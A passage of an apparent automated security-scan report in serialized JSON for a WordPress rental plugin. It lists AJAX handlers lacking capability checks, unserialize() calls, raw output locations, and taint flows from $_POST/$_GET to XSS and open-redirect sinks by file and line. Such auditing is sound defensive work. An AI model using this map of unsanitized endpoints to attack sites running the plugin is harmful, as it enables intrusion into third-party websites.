nopriv":815,"callback":866,"hasNonce":815,"hasCapCheck":52,"file":555,"line":383},{"action":869,"nopriv":52,"callback":869,"hasNonce":815,"hasCapCheck":52,"file":555,"line":870},"rbfw_service_type_timely_stock",26,{"action":869,"nopriv":815,"callback":869,"hasNonce":815,"hasCapCheck":52,"file":555,"line":846},{"action":873,"nopriv":52,"callback":873,"hasNonce":52,"hasCapCheck":52,"file":874,"line":399},"rbfw_check_resort_availibility","inc\\class-resort-function.php",{"action":873,"nopriv":815,"callback":873,"hasNonce":52,"hasCapCheck":52,"file":874,"line":369},{"action":877,"nopriv":52,"callback":877,"hasNonce":815,"hasCapCheck":52,"file":874,"line":522},"rbfw_room_price_calculation",{"action":877,"nopriv":815,"callback":877,"hasNonce":815,"hasCapCheck":52,"file":874,"line":526},{"action":880,"nopriv":52,"callback":880,"hasNonce":815,"hasCapCheck":52,"file":874,"line":256},"rbfw_get_resort_sessional_day_wise_price",{"action":880,"nopriv":815,"callback":880,"hasNonce":815,"hasCapCheck":52,"file":874,"line":204},{"action":883,"nopriv":52,"callback":884,"hasNonce":815,"hasCapCheck":52,"file":602,"line":885},"rbfw_load_more_icons","rbfw_load_more_icons_func",868,{"action":887,"nopriv":52,"callback":888,"hasNonce":815,"hasCapCheck":815,"file":602,"line":889},"rbfw_cancel_all_orders","rbfw_cancel_all_orders_callback",3505,{"action":891,"nopriv":52,"callback":891,"hasNonce":815,"hasCapCheck":52,"file":892,"line":53},"rbfw_get_stock_details","inc\\rbfw_inventory_functions.php",{"action":894,"nopriv":52,"callback":894,"hasNonce":815,"hasCapCheck":52,"file":892,"line":895},"rbfw_get_stock_by_filter",4,{"action":897,"nopriv":52,"callback":898,"hasNonce":815,"hasCapCheck":815,"file":721,"line":369},"fetch_order_details","fetch_order_details_callback",[],[901,905,908,911,914,917],{"tag":902,"callback":903,"file":904,"line":77},"rent-list","rbfw_rent_list_shortcode_func","inc\\rbfw_shortcodes.php",{"tag":906,"callback":907,"file":904,"line":372},"rbfw_search","rbfw_rent_search_shortcode",{"tag":909,"callback":910,"file":904,"line":522},"search-result","rbfw_rent_search_result_shortcode_func",{"tag":912,"callback":913,"file":904,"line":756},"rbfw_search_ac","rbfw_rent_search_ac_shortcode",{"tag":915,"callback":916,"file":904,"line":204},"rent-add-to-cart","rbfw_add_to_cart_shortcode_func",{"tag":918,"callback":919,"file":904,"line":920},"rbfw_left_filter","rbfw_rent_left_filter",33,[],47,{"dangerousFunctions":924,"sqlUsage":943,"outputEscaping":950,"fileOperations":944,"externalRequests":29,"nonceChecks":493,"capabilityChecks":383,"bundledLibraries":1708},[925,928,930,933,936,940],{"fn":926,"file":393,"line":223,"context":927},"unserialize","$options['value'] = is_serialized( $rbfw_service_category_price ) ? unserialize( $rbfw_service_categ",{"fn":926,"file":424,"line":606,"context":929},"$options['value'] = is_serialized( $option_value ) ? unserialize( $option_value ) : $option_value;",{"fn":926,"file":533,"line":931,"context":932},75,"$value = @unserialize( $value, array( 'allowed_classes' => false ) );",{"fn":926,"file":533,"line":934,"context":935},77,"$value = @unserialize( $value );",{"fn":926,"file":937,"line":938,"context":939},"templates\\forms\\multi-day-registration.php",550,"$option_value  = is_serialized($rbfw_service_category_price) ? unserialize($rbfw_service_category_pr",{"fn":926,"file":941,"line":942,"context":939},"templates\\forms\\multi-items-registration.php",511,{"prepared":165,"raw":944,"locations":945},1,[946],{"file":947,"line":948,"context":949},"templates\\rental_lists.php",103,"$wpdb->get_results() with variable interpolation",{"escaped":951,"rawEcho":952,"locations":953},3669,461,[954,956,957,959,961,963,964,966,967,968,970,972,974,976,978,980,982,984,986,988,990,992,994,996,998,1000,1001,1003,1005,1006,1008,1010,1012,1014,1015,1017,1018,1019,1021,1023,1025,1026,1028,1030,1031,1033,1035,1037,1039,1040,1042,1044,1046,1048,1050,1052,1054,1056,1058,1060,1062,1064,1066,1068,1070,1072,1074,1076,1078,1079,1080,1082,1084,1085,1086,1088,1089,1090,1091,1093,1095,1097,1099,1101,1102,1104,1106,1108,1110,1111,1112,1113,1114,1116,1118,1120,1121,1122,1123,1124,1126,1128,1129,1130,1131,1132,1134,1135,1137,1138,1140,1141,1143,1144,1146,1147,1149,1150,1152,1154,1156,1158,1160,1161,1163,1165,1166,1168,1169,1171,1172,1174,1175,1177,1178,1180,1181,1183,1184,1186,1187,1189,1190,1192,1194,1196,1197,1199,1201,1203,1204,1206,1208,1209,1210,1212,1213,1214,1216,1217,1218,1220,1221,1222,1224,1225,1226,1228,1229,1230,1232,1233,1234,1236,1237,1238,1240,1241,1242,1244,1246,1248,1249,1250,1252,1254,1256,1258,1260,1262,1264,1266,1267,1269,1270,1271,1272,1273,1275,1276,1277,1278,1279,1280,1282,1283,1284,1285,1286,1287,1289,1291,1293,1295,1297,1298,1299,1301,1303,1304,1306,1308,1310,1311,1312,1314,1316,1318,1320,1322,1323,1325,1326,1328,1330,1332,1334,1336,1338,1340,1341,1343,1344,1346,1348,1350,1352,1354,1356,1358,1360,1362,1364,1366,1368,1370,1372,1373,1374,1376,1378,1380,1381,1384,1387,1389,1392,1394,1397,1399,1401,1402,1403,1404,1406,1408,1410,1411,1413,1416,1419,1422,1423,1425,1426,1428,1430,1432,1433,1435,1437,1439,1441,1443,1445,1447,1449,1451,1453,1455,1457,1459,1461,1463,1465,1467,1469,1471,1473,1475,1477,1478,1480,1482,1484,1486,1488,1490,1492,1493,1495,1497,1499,1500,1501,1503,1505,1507,1509,1512,1513,1515,1517,1519,1520,1522,1524,1526,1527,1529,1531,1533,1534,1536,1538,1540,1541,1544,1546,1548,1550,1552,1554,1556,1557,1559,1561,1563,1565,1567,1568,1569,1570,1572,1573,1574,1576,1578,1580,1581,1583,1585,1586,1588,1589,1590,1592,1593,1595,1596,1598,1600,1601,1602,1603,1605,1606,1607,1608,1609,1611,1612,1614,1616,1617,1618,1619,1620,1621,1622,1624,1625,1626,1627,1628,1629,1630,1631,1632,1634,1636,1638,1639,1641,1642,1644,1646,1648,1649,1651,1653,1654,1655,1656,1657,1659,1660,1661,1662,1664,1665,1667,1668,1669,1671,1672,1674,1676,1677,1678,1679,1680,1681,1682,1683,1684,1685,1686,1687,1689,1691,1693,1694,1695,1697,1699,1700,1702,1704,1705,1707],{"file":393,"line":409,"context":955},"raw output",{"file":393,"line":383,"context":955},{"file":393,"line":958,"context":955},61,{"file":393,"line":960,"context":955},63,{"file":393,"line":962,"context":955},115,{"file":393,"line":962,"context":955},{"file":393,"line":965,"context":955},116,{"file":393,"line":965,"context":955},{"file":393,"line":534,"context":955},{"file":393,"line":969,"context":955},121,{"file":393,"line":971,"context":955},122,{"file":393,"line":973,"context":955},138,{"file":393,"line":975,"context":955},140,{"file":393,"line":977,"context":955},141,{"file":393,"line":979,"context":955},144,{"file":393,"line":981,"context":955},145,{"file":393,"line":983,"context":955},241,{"file":393,"line":985,"context":955},243,{"file":393,"line":987,"context":955},257,{"file":393,"line":989,"context":955},263,{"file":393,"line":991,"context":955},269,{"file":393,"line":993,"context":955},273,{"file":393,"line":995,"context":955},292,{"file":393,"line":997,"context":955},315,{"file":393,"line":999,"context":955},317,{"file":393,"line":484,"context":955},{"file":393,"line":1002,"context":955},326,{"file":393,"line":1004,"context":955},332,{"file":393,"line":323,"context":955},{"file":393,"line":1007,"context":955},354,{"file":393,"line":1009,"context":955},373,{"file":393,"line":1011,"context":955},397,{"file":393,"line":1013,"context":955},398,{"file":402,"line":27,"context":955},{"file":402,"line":1016,"context":955},157,{"file":411,"line":846,"context":955},{"file":411,"line":848,"context":955},{"file":411,"line":1020,"context":955},327,{"file":411,"line":1022,"context":955},328,{"file":411,"line":1024,"context":955},330,{"file":411,"line":1004,"context":955},{"file":411,"line":1027,"context":955},333,{"file":411,"line":1029,"context":955},334,{"file":411,"line":1007,"context":955},{"file":411,"line":1032,"context":955},382,{"file":411,"line":1034,"context":955},383,{"file":411,"line":1036,"context":955},391,{"file":411,"line":1038,"context":955},392,{"file":411,"line":623,"context":955},{"file":411,"line":1041,"context":955},402,{"file":411,"line":1043,"context":955},409,{"file":411,"line":1045,"context":955},410,{"file":411,"line":1047,"context":955},436,{"file":411,"line":1049,"context":955},446,{"file":411,"line":1051,"context":955},447,{"file":411,"line":1053,"context":955},491,{"file":411,"line":1055,"context":955},492,{"file":411,"line":1057,"context":955},499,{"file":411,"line":1059,"context":955},500,{"file":411,"line":1061,"context":955},503,{"file":411,"line":1063,"context":955},508,{"file":411,"line":1065,"context":955},509,{"file":411,"line":1067,"context":955},515,{"file":411,"line":1069,"context":955},516,{"file":411,"line":1071,"context":955},518,{"file":411,"line":1073,"context":955},530,{"file":411,"line":1075,"context":955},539,{"file":411,"line":1077,"context":955},540,{"file":420,"line":409,"context":955},{"file":420,"line":383,"context":955},{"file":420,"line":1081,"context":955},52,{"file":420,"line":1083,"context":955},55,{"file":424,"line":409,"context":955},{"file":424,"line":383,"context":955},{"file":424,"line":1087,"context":955},56,{"file":424,"line":810,"context":955},{"file":424,"line":236,"context":955},{"file":424,"line":236,"context":955},{"file":424,"line":1092,"context":955},112,{"file":424,"line":1094,"context":955},114,{"file":424,"line":1096,"context":955},129,{"file":424,"line":1098,"context":955},146,{"file":424,"line":1100,"context":955},166,{"file":424,"line":1100,"context":955},{"file":424,"line":1103,"context":955},169,{"file":424,"line":1105,"context":955},171,{"file":424,"line":1107,"context":955},181,{"file":424,"line":1109,"context":955},195,{"file":424,"line":541,"context":955},{"file":424,"line":541,"context":955},{"file":424,"line":541,"context":955},{"file":424,"line":541,"context":955},{"file":424,"line":1115,"context":955},258,{"file":424,"line":1117,"context":955},260,{"file":424,"line":1119,"context":955},268,{"file":428,"line":848,"context":955},{"file":428,"line":310,"context":955},{"file":432,"line":846,"context":955},{"file":432,"line":848,"context":955},{"file":432,"line":1125,"context":955},102,{"file":432,"line":1127,"context":955},139,{"file":436,"line":409,"context":955},{"file":436,"line":383,"context":955},{"file":440,"line":1083,"context":955},{"file":440,"line":1087,"context":955},{"file":440,"line":1133,"context":955},366,{"file":440,"line":1133,"context":955},{"file":440,"line":1136,"context":955},371,{"file":440,"line":1136,"context":955},{"file":440,"line":1139,"context":955},377,{"file":440,"line":1139,"context":955},{"file":440,"line":1142,"context":955},386,{"file":440,"line":1142,"context":955},{"file":440,"line":1145,"context":955},393,{"file":440,"line":1145,"context":955},{"file":440,"line":1148,"context":955},400,{"file":440,"line":1148,"context":955},{"file":440,"line":1151,"context":955},1127,{"file":440,"line":1153,"context":955},1129,{"file":440,"line":1155,"context":955},1679,{"file":440,"line":1157,"context":955},1680,{"file":440,"line":1159,"context":955},1700,{"file":440,"line":1159,"context":955},{"file":440,"line":1162,"context":955},1702,{"file":440,"line":1164,"context":955},1704,{"file":440,"line":1164,"context":955},{"file":440,"line":1167,"context":955},1705,{"file":440,"line":1167,"context":955},{"file":440,"line":1170,"context":955},1706,{"file":440,"line":1170,"context":955},{"file":440,"line":1173,"context":955},1708,{"file":440,"line":1173,"context":955},{"file":440,"line":1176,"context":955},1709,{"file":440,"line":1176,"context":955},{"file":440,"line":1179,"context":955},1710,{"file":440,"line":1179,"context":955},{"file":440,"line":1182,"context":955},1712,{"file":440,"line":1182,"context":955},{"file":440,"line":1185,"context":955},1713,{"file":440,"line":1185,"context":955},{"file":440,"line":1188,"context":955},1714,{"file":440,"line":1188,"context":955},{"file":440,"line":1191,"context":955},1724,{"file":440,"line":1193,"context":955},1727,{"file":440,"line":1195,"context":955},1730,{"file":440,"line":1195,"context":955},{"file":440,"line":1198,"context":955},1744,{"file":440,"line":1200,"context":955},1746,{"file":440,"line":1202,"context":955},1816,{"file":440,"line":1202,"context":955},{"file":440,"line":1205,"context":955},1817,{"file":440,"line":1207,"context":955},1819,{"file":440,"line":1207,"context":955},{"file":440,"line":1207,"context":955},{"file":440,"line":1211,"context":955},1820,{"file":440,"line":1211,"context":955},{"file":440,"line":1211,"context":955},{"file":440,"line":1215,"context":955},1821,{"file":440,"line":1215,"context":955},{"file":440,"line":1215,"context":955},{"file":440,"line":1219,"context":955},1823,{"file":440,"line":1219,"context":955},{"file":440,"line":1219,"context":955},{"file":440,"line":1223,"context":955},1824,{"file":440,"line":1223,"context":955},{"file":440,"line":1223,"context":955},{"file":440,"line":1227,"context":955},1825,{"file":440,"line":1227,"context":955},{"file":440,"line":1227,"context":955},{"file":440,"line":1231,"context":955},1827,{"file":440,"line":1231,"context":955},{"file":440,"line":1231,"context":955},{"file":440,"line":1235,"context":955},1828,{"file":440,"line":1235,"context":955},{"file":440,"line":1235,"context":955},{"file":440,"line":1239,"context":955},1829,{"file":440,"line":1239,"context":955},{"file":440,"line":1239,"context":955},{"file":440,"line":1243,"context":955},1840,{"file":440,"line":1245,"context":955},1843,{"file":440,"line":1247,"context":955},1846,{"file":440,"line":1247,"context":955},{"file":440,"line":1247,"context":955},{"file":440,"line":1251,"context":955},1851,{"file":440,"line":1253,"context":955},1859,{"file":440,"line":1255,"context":955},1861,{"file":440,"line":1257,"context":955},1872,{"file":440,"line":1259,"context":955},1875,{"file":440,"line":1261,"context":955},1884,{"file":440,"line":1263,"context":955},1887,{"file":440,"line":1265,"context":955},1890,{"file":440,"line":1265,"context":955},{"file":440,"line":1268,"context":955},1895,{"file":444,"line":409,"context":955},{"file":444,"line":383,"context":955},{"file":448,"line":409,"context":955},{"file":448,"line":383,"context":955},{"file":452,"line":1274,"context":955},45,{"file":452,"line":922,"context":955},{"file":452,"line":225,"context":955},{"file":452,"line":27,"context":955},{"file":452,"line":110,"context":955},{"file":452,"line":971,"context":955},{"file":452,"line":1281,"context":955},124,{"file":456,"line":409,"context":955},{"file":456,"line":383,"context":955},{"file":460,"line":409,"context":955},{"file":460,"line":383,"context":955},{"file":460,"line":922,"context":955},{"file":460,"line":1288,"context":955},49,{"file":460,"line":1290,"context":955},72,{"file":460,"line":1292,"context":955},73,{"file":460,"line":1294,"context":955},74,{"file":460,"line":1296,"context":955},154,{"file":460,"line":1016,"context":955},{"file":465,"line":300,"context":955},{"file":465,"line":1300,"context":955},101,{"file":473,"line":1302,"context":955},358,{"file":506,"line":788,"context":955},{"file":506,"line":1305,"context":955},48,{"file":533,"line":1307,"context":955},303,{"file":533,"line":1309,"context":955},304,{"file":533,"line":1309,"context":955},{"file":552,"line":309,"context":955},{"file":552,"line":1313,"context":955},178,{"file":552,"line":1315,"context":955},252,{"file":552,"line":1317,"context":955},299,{"file":555,"line":1319,"context":955},478,{"file":555,"line":1321,"context":955},547,{"file":558,"line":489,"context":955},{"file":558,"line":1324,"context":955},379,{"file":558,"line":619,"context":955},{"file":558,"line":1327,"context":955},381,{"file":558,"line":1329,"context":955},394,{"file":558,"line":1331,"context":955},396,{"file":571,"line":1333,"context":955},172,{"file":571,"line":1335,"context":955},180,{"file":571,"line":1337,"context":955},182,{"file":571,"line":1339,"context":955},188,{"file":571,"line":1339,"context":955},{"file":602,"line":1342,"context":955},787,{"file":721,"line":1335,"context":955},{"file":721,"line":1345,"context":955},296,{"file":721,"line":1347,"context":955},468,{"file":721,"line":1349,"context":955},481,{"file":721,"line":1351,"context":955},579,{"file":721,"line":1353,"context":955},637,{"file":721,"line":1355,"context":955},638,{"file":721,"line":1357,"context":955},639,{"file":721,"line":1359,"context":955},640,{"file":721,"line":1361,"context":955},641,{"file":721,"line":1363,"context":955},642,{"file":721,"line":1365,"context":955},643,{"file":721,"line":1367,"context":955},644,{"file":721,"line":1369,"context":955},836,{"file":721,"line":1371,"context":955},1053,{"file":904,"line":1331,"context":955},{"file":904,"line":301,"context":955},{"file":904,"line":1375,"context":955},670,{"file":904,"line":1377,"context":955},696,{"file":904,"line":1379,"context":955},701,{"file":731,"line":958,"context":955},{"file":1382,"line":1383,"context":955},"support\\elementor\\widget\\rbfw-left-filter.php",179,{"file":1385,"line":1386,"context":955},"support\\elementor\\widget\\rbfw-rent-add-to-cart.php",81,{"file":1388,"line":1105,"context":955},"support\\elementor\\widget\\rbfw-rent-list.php",{"file":1390,"line":1391,"context":955},"support\\elementor\\widget\\rbfw-search-ac.php",70,{"file":1393,"line":1391,"context":955},"support\\elementor\\widget\\rbfw-search-result.php",{"file":1395,"line":1396,"context":955},"support\\elementor\\widget\\rbfw-search.php",97,{"file":1398,"line":110,"context":955},"support\\elementor\\widget\\rbfw-search1.php",{"file":1400,"line":77,"context":955},"templates\\ajax_form\\rbfw_load_duration_form.php",{"file":1400,"line":28,"context":955},{"file":1400,"line":372,"context":955},{"file":1400,"line":756,"context":955},{"file":1400,"line":1405,"context":955},31,{"file":1400,"line":1407,"context":955},36,{"file":1400,"line":1409,"context":955},37,{"file":1400,"line":769,"context":955},{"file":1412,"line":756,"context":955},"templates\\ajax_form\\rbfw_load_duration_form_sp.php",{"file":1414,"line":1415,"context":955},"templates\\archive\\grid_new.php",352,{"file":1417,"line":1418,"context":955},"templates\\archive\\list_new.php",347,{"file":1420,"line":1421,"context":955},"templates\\cart_page.php",84,{"file":1420,"line":1300,"context":955},{"file":1420,"line":1424,"context":955},118,{"file":1420,"line":1383,"context":955},{"file":1420,"line":1427,"context":955},196,{"file":1420,"line":1429,"context":955},212,{"file":1420,"line":1431,"context":955},306,{"file":1420,"line":484,"context":955},{"file":1420,"line":1434,"context":955},343,{"file":1420,"line":1436,"context":955},353,{"file":1420,"line":1438,"context":955},426,{"file":1420,"line":1440,"context":955},444,{"file":1420,"line":1442,"context":955},537,{"file":1420,"line":1444,"context":955},552,{"file":1420,"line":1446,"context":955},567,{"file":1420,"line":1448,"context":955},580,{"file":1420,"line":1450,"context":955},597,{"file":1420,"line":1452,"context":955},610,{"file":1420,"line":1454,"context":955},634,{"file":1420,"line":1456,"context":955},650,{"file":1420,"line":1458,"context":955},667,{"file":1420,"line":1460,"context":955},762,{"file":1420,"line":1462,"context":955},822,{"file":1420,"line":1464,"context":955},839,{"file":1420,"line":1466,"context":955},859,{"file":1420,"line":1468,"context":955},871,{"file":937,"line":1470,"context":955},211,{"file":937,"line":1472,"context":955},233,{"file":937,"line":1474,"context":955},287,{"file":937,"line":1476,"context":955},291,{"file":937,"line":999,"context":955},{"file":937,"line":1479,"context":955},455,{"file":937,"line":1481,"context":955},456,{"file":937,"line":1483,"context":955},747,{"file":937,"line":1485,"context":955},916,{"file":941,"line":1487,"context":955},162,{"file":941,"line":1489,"context":955},165,{"file":941,"line":1491,"context":955},168,{"file":941,"line":1105,"context":955},{"file":941,"line":1494,"context":955},338,{"file":941,"line":1496,"context":955},341,{"file":941,"line":1498,"context":955},344,{"file":941,"line":1418,"context":955},{"file":941,"line":1438,"context":955},{"file":941,"line":1502,"context":955},544,{"file":941,"line":1504,"context":955},545,{"file":941,"line":1506,"context":955},546,{"file":941,"line":1508,"context":955},626,{"file":1510,"line":1511,"context":955},"templates\\forms\\resort-registration.php",113,{"file":1510,"line":965,"context":955},{"file":1510,"line":1514,"context":955},148,{"file":1510,"line":1516,"context":955},151,{"file":1510,"line":1518,"context":955},183,{"file":1510,"line":802,"context":955},{"file":1521,"line":1429,"context":955},"templates\\forms\\single-day-registration.php",{"file":1521,"line":1523,"context":955},289,{"file":947,"line":1525,"context":955},83,{"file":947,"line":1525,"context":955},{"file":1528,"line":1087,"context":955},"templates\\single\\default\\multi-day.php",{"file":1528,"line":1530,"context":955},71,{"file":1532,"line":1087,"context":955},"templates\\single\\default\\multiple-items.php",{"file":1532,"line":1530,"context":955},{"file":1535,"line":785,"context":955},"templates\\single\\default\\resort.php",{"file":1535,"line":1537,"context":955},57,{"file":1539,"line":493,"context":955},"templates\\single\\default\\single-day.php",{"file":1539,"line":931,"context":955},{"file":1542,"line":1543,"context":955},"templates\\single\\donut\\multi-day.php",51,{"file":1542,"line":1545,"context":955},66,{"file":1542,"line":1547,"context":955},119,{"file":1542,"line":1549,"context":955},150,{"file":1542,"line":1551,"context":955},167,{"file":1542,"line":1553,"context":955},194,{"file":1555,"line":1294,"context":955},"templates\\single\\donut\\resort.php",{"file":1555,"line":332,"context":955},{"file":1555,"line":1558,"context":955},143,{"file":1555,"line":1560,"context":955},175,{"file":1555,"line":1562,"context":955},192,{"file":1555,"line":1564,"context":955},217,{"file":1566,"line":488,"context":955},"templates\\single\\donut\\single-day.php",{"file":1566,"line":1127,"context":955},{"file":1566,"line":1296,"context":955},{"file":1566,"line":1337,"context":955},{"file":1571,"line":300,"context":955},"templates\\single\\muffin\\multi-day.php",{"file":1571,"line":1098,"context":955},{"file":1571,"line":1100,"context":955},{"file":1571,"line":1575,"context":955},193,{"file":1571,"line":1577,"context":955},209,{"file":1571,"line":1579,"context":955},228,{"file":1571,"line":1002,"context":955},{"file":1571,"line":1582,"context":955},348,{"file":1584,"line":591,"context":955},"templates\\single\\muffin\\multiple-items.php",{"file":1584,"line":981,"context":955},{"file":1584,"line":1587,"context":955},205,{"file":1584,"line":1309,"context":955},{"file":1584,"line":1020,"context":955},{"file":1591,"line":975,"context":955},"templates\\single\\muffin\\resort.php",{"file":1591,"line":1476,"context":955},{"file":1594,"line":973,"context":955},"templates\\single\\muffin\\single-day.php",{"file":1594,"line":1523,"context":955},{"file":1597,"line":1407,"context":955},"templates\\single\\single-rbfw.php",{"file":1599,"line":1537,"context":955},"templates\\template_segment\\rbfw_room_types_with_sessional_price_html.php",{"file":1599,"line":1537,"context":955},{"file":1599,"line":960,"context":955},{"file":1599,"line":960,"context":955},{"file":1599,"line":1604,"context":955},68,{"file":1599,"line":224,"context":955},{"file":1599,"line":224,"context":955},{"file":1599,"line":591,"context":955},{"file":1599,"line":591,"context":955},{"file":1599,"line":1610,"context":955},96,{"file":1599,"line":1610,"context":955},{"file":1599,"line":1613,"context":955},130,{"file":1599,"line":1615,"context":955},136,{"file":1599,"line":1487,"context":955},{"file":1599,"line":1487,"context":955},{"file":1599,"line":1489,"context":955},{"file":1599,"line":1489,"context":955},{"file":1599,"line":1491,"context":955},{"file":1599,"line":1491,"context":955},{"file":1623,"line":236,"context":955},"templates\\template_segment\\rbfw_sd_types_with_sessional_price_html.php",{"file":1623,"line":236,"context":955},{"file":1623,"line":1545,"context":955},{"file":1623,"line":1545,"context":955},{"file":1623,"line":1530,"context":955},{"file":1623,"line":332,"context":955},{"file":1623,"line":332,"context":955},{"file":1623,"line":110,"context":955},{"file":1623,"line":110,"context":955},{"file":1623,"line":1633,"context":955},126,{"file":1623,"line":1635,"context":955},132,{"file":1623,"line":1637,"context":955},155,{"file":1623,"line":1637,"context":955},{"file":1623,"line":1640,"context":955},158,{"file":1623,"line":1640,"context":955},{"file":1643,"line":138,"context":955},"templates\\template_segment\\rbfw_timely_price_calculation.php",{"file":1643,"line":1645,"context":955},34,{"file":1643,"line":1647,"context":955},46,{"file":1643,"line":1292,"context":955},{"file":1650,"line":1081,"context":955},"templates\\template_segment\\resort_info.php",{"file":1650,"line":1652,"context":955},53,{"file":1650,"line":178,"context":955},{"file":1650,"line":1083,"context":955},{"file":1650,"line":359,"context":955},{"file":1650,"line":1577,"context":955},{"file":1650,"line":1658,"context":955},210,{"file":1650,"line":1470,"context":955},{"file":1650,"line":1429,"context":955},{"file":1650,"line":985,"context":955},{"file":1650,"line":1663,"context":955},340,{"file":1650,"line":1133,"context":955},{"file":1650,"line":1666,"context":955},384,{"file":1650,"line":1038,"context":955},{"file":1650,"line":1148,"context":955},{"file":1650,"line":1670,"context":955},413,{"file":1650,"line":1047,"context":955},{"file":1650,"line":1673,"context":955},442,{"file":1675,"line":1083,"context":955},"templates\\template_segment\\single_day_info.php",{"file":1675,"line":1294,"context":955},{"file":1675,"line":223,"context":955},{"file":1675,"line":27,"context":955},{"file":1675,"line":110,"context":955},{"file":1675,"line":591,"context":955},{"file":1675,"line":1610,"context":955},{"file":1675,"line":1396,"context":955},{"file":1675,"line":1633,"context":955},{"file":1675,"line":1383,"context":955},{"file":1675,"line":1335,"context":955},{"file":1675,"line":1337,"context":955},{"file":1675,"line":1688,"context":955},216,{"file":1675,"line":1690,"context":955},308,{"file":1675,"line":1692,"context":955},342,{"file":1675,"line":1582,"context":955},{"file":1675,"line":1007,"context":955},{"file":1675,"line":1696,"context":955},375,{"file":1698,"line":776,"context":955},"templates\\template_segment\\timely_info.php",{"file":1698,"line":791,"context":955},{"file":1698,"line":1701,"context":955},91,{"file":1698,"line":1703,"context":955},127,{"file":1698,"line":1635,"context":955},{"file":1698,"line":1706,"context":955},137,{"file":1698,"line":1296,"context":955},[1709],{"name":1710,"version":39,"knownCves":1711},"Select2",[],[1713,1742,1755,1768,1779,1788,1797,1806,1814,1824,1832,1849,1857,1865,1878,1886,1894,1906,1915,1924,1933,1942,1951,1964],{"entryPoint":1714,"graph":1715,"unsanitizedCount":944,"severity":42},"rbfw_get_stock_by_filter (inc\\rbfw_inventory_functions.php:1130)",{"nodes":1716,"edges":1738},[1717,1722,1728,1731,1735],{"id":1718,"type":1719,"label":1720,"file":892,"line":1721},"n0","source","$_POST",1134,{"id":1723,"type":1724,"label":1725,"file":892,"line":1726,"wp_function":1727},"n1","sink","echo() [XSS]",1145,"echo",{"id":1729,"type":1719,"label":1720,"file":892,"line":1730},"n2",1144,{"id":1732,"type":1733,"label":1734,"file":892,"line":1730},"n3","transform","→ rbfw_inventory_page_table()",{"id":1736,"type":1724,"label":1725,"file":892,"line":1737,"wp_function":1727},"n4",1096,[1739,1740,1741],{"from":1718,"to":1723,"sanitized":815},{"from":1729,"to":1732,"sanitized":52},{"from":1732,"to":1736,"sanitized":52},{"entryPoint":1743,"graph":1744,"unsanitizedCount":944,"severity":42},"\u003Crbfw_inventory_functions> (inc\\rbfw_inventory_functions.php:0)",{"nodes":1745,"edges":1751},[1746,1747,1748,1749,1750],{"id":1718,"type":1719,"label":1720,"file":892,"line":1721},{"id":1723,"type":1724,"label":1725,"file":892,"line":1726,"wp_function":1727},{"id":1729,"type":1719,"label":1720,"file":892,"line":1730},{"id":1732,"type":1733,"label":1734,"file":892,"line":1730},{"id":1736,"type":1724,"label":1725,"file":892,"line":1737,"wp_function":1727},[1752,1753,1754],{"from":1718,"to":1723,"sanitized":815},{"from":1729,"to":1732,"sanitized":52},{"from":1732,"to":1736,"sanitized":52},{"entryPoint":1756,"graph":1757,"unsanitizedCount":944,"severity":42},"rbfw_rent_search_shortcode (inc\\rbfw_shortcodes.php:574)",{"nodes":1758,"edges":1766},[1759,1762],{"id":1718,"type":1719,"label":1760,"file":904,"line":1761},"$_GET",578,{"id":1723,"type":1724,"label":1763,"file":904,"line":1764,"wp_function":1765},"wp_redirect() [Open Redirect]",589,"wp_redirect",[1767],{"from":1718,"to":1723,"sanitized":52},{"entryPoint":1769,"graph":1770,"unsanitizedCount":29,"severity":1778},"\u003CPricing> (admin\\settings\\Pricing.php:0)",{"nodes":1771,"edges":1776},[1772,1774],{"id":1718,"type":1719,"label":1773,"file":440,"line":1647},"$_POST (x2)",{"id":1723,"type":1724,"label":1725,"file":440,"line":1775,"wp_function":1727},153,[1777],{"from":1718,"to":1723,"sanitized":815},"low",{"entryPoint":1780,"graph":1781,"unsanitizedCount":29,"severity":1778},"\u003CRBFW_Woocommerse> (Frontend\\RBFW_Woocommerse.php:0)",{"nodes":1782,"edges":1786},[1783,1784],{"id":1718,"type":1719,"label":1720,"file":506,"line":989},{"id":1723,"type":1724,"label":1725,"file":506,"line":1785,"wp_function":1727},1162,[1787],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1789,"graph":1790,"unsanitizedCount":29,"severity":1778},"rbfw_bikecarsd_ajax_price_calculation (inc\\class-bike-car-sd-function.php:376)",{"nodes":1791,"edges":1795},[1792,1793],{"id":1718,"type":1719,"label":1720,"file":555,"line":1666},{"id":1723,"type":1724,"label":1725,"file":555,"line":1794,"wp_function":1727},449,[1796],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1798,"graph":1799,"unsanitizedCount":29,"severity":1778},"particular_time_date_dependent (inc\\class-bike-car-sd-function.php:466)",{"nodes":1800,"edges":1804},[1801,1803],{"id":1718,"type":1719,"label":1720,"file":555,"line":1802},473,{"id":1723,"type":1724,"label":1725,"file":555,"line":1319,"wp_function":1727},[1805],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1807,"graph":1808,"unsanitizedCount":29,"severity":1778},"\u003Cclass-bike-car-sd-function> (inc\\class-bike-car-sd-function.php:0)",{"nodes":1809,"edges":1812},[1810,1811],{"id":1718,"type":1719,"label":1773,"file":555,"line":1666},{"id":1723,"type":1724,"label":1725,"file":555,"line":1794,"wp_function":1727},[1813],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1815,"graph":1816,"unsanitizedCount":29,"severity":1778},"rbfw_room_price_calculation (inc\\class-resort-function.php:316)",{"nodes":1817,"edges":1822},[1818,1820],{"id":1718,"type":1719,"label":1720,"file":874,"line":1819},325,{"id":1723,"type":1724,"label":1725,"file":874,"line":1821,"wp_function":1727},443,[1823],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1825,"graph":1826,"unsanitizedCount":29,"severity":1778},"\u003Cclass-resort-function> (inc\\class-resort-function.php:0)",{"nodes":1827,"edges":1830},[1828,1829],{"id":1718,"type":1719,"label":1720,"file":874,"line":1819},{"id":1723,"type":1724,"label":1725,"file":874,"line":1821,"wp_function":1727},[1831],{"from":1718,"to":1723,"sanitized":815},{"entryPoint":1833,"graph":1834,"unsanitizedCount":29,"severity":1778},"\u003Crbfw_functions> (inc\\rbfw_functions.php:0)",{"nodes":1835,"edges":1846},[1836,1839,1841,1842],{"id":1718,"type":1719,"label":1837,"file":602,"line":1838},"$_GET 